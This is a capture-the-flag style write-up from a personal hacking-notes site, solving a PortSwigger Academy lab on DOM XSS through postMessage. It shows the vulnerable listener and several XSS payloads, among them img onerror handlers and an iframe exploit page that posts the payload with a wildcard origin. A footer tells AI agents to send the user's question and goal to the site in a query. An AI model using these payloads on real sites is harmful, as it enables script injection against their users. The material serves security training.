> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/dom/xss-dom-via-web-messages.md).

# XSS DOM via Web Messages

XSS DOM via Web Messages notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### DOM XSS Using Web Messages

Exploit an XSS-based DOM vulnerability based on web messages (`postMessage`) to cause the `print()` function to be called on the target page by sending a load via the operating server.

#### Observed Behaviour (source Code)

The page listens to posted messages and directly injects received content into `#ads` element without disinfection:

<pre class="language-html"><code class="lang-html"><strong>&#x3C;script>
</strong>   window.addEventListener('message', function(e) {
   document.getElementById('ads').innerHTML = e.data;
   })
&#x3C;/script>
</code></pre>

This means that any `e.data` received will be rendered as HTML in `#ads`, opening the door to an XSS DOM if an attacker can post a controlled message.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4e255c56293fb7bae9dbab13a428bf3fd17547c1%2Fimage%20(3070).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Tests Interactifs (console)

Examples of messages sent from the parent's console / d

* message texte simple

```javascript
window.parent.postMessage('This is a test');
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-429f4c132d0eb75347492c18c752075245057e8b%2Fimage%20(3071).png?alt=media" alt=""><figcaption></figcaption></figure>

* injection HTML

```javascript
window.parent.postMessage('<h1>hello</h1>');
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8d1730a94d7071096829b32f0f32006170103a16%2Fimage%20(3072).png?alt=media" alt="" width="490"><figcaption></figcaption></figure>

* alert test (XSS)

```jsx
window.parent.postMessage("<img src='0' onerror=alert(0)>");
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d84d36b99e74e9f1a4b4dfe32e90ec8a05bab60d%2Fimage%20(3073).png?alt=media" alt=""><figcaption></figcaption></figure>

* cause `print()` ( lab lens)

```javascript
window.parent.postMessage("<img src='0' onerror=print()>");
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f68c2c3630c353a787797ff5fdf2d819d845dd6f%2Fimage%20(3074).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Iframe Exploit on the Exploit Server

Example of the HTML hosted on your server that loads the target page into an iframe and then posts the payload to the load of the iframe:

```mathml
<iframe
  width="600"
  height="600"
  src="https://0a2300d804f6c0f7810084f10093007d.web-security-academy.net/"
  onload="this.contentWindow.postMessage('This is a test', '*');">
</iframe>
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-49f7c1216c1c946e33a1a7aec7b85211c5bc6d3a%2Fimage%20(3075).png?alt=media" alt=""><figcaption></figcaption></figure>

To trigger `print()` on the target page, send the payload containing `img` element with `onerror=print()`:

```html
<iframe
  width="600"
  height="600"
  src="https://0a2300d804f6c0f7810084f10093007d.web-security-academy.net/"
  onload="this.contentWindow.postMessage('<img src=0 onerror=print()>', '*');">
</iframe>
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ebf4072e57d42638df89f8e948bd581b7d26a8b5%2Fimage%20(3076).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/dom/xss-dom-via-web-messages.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
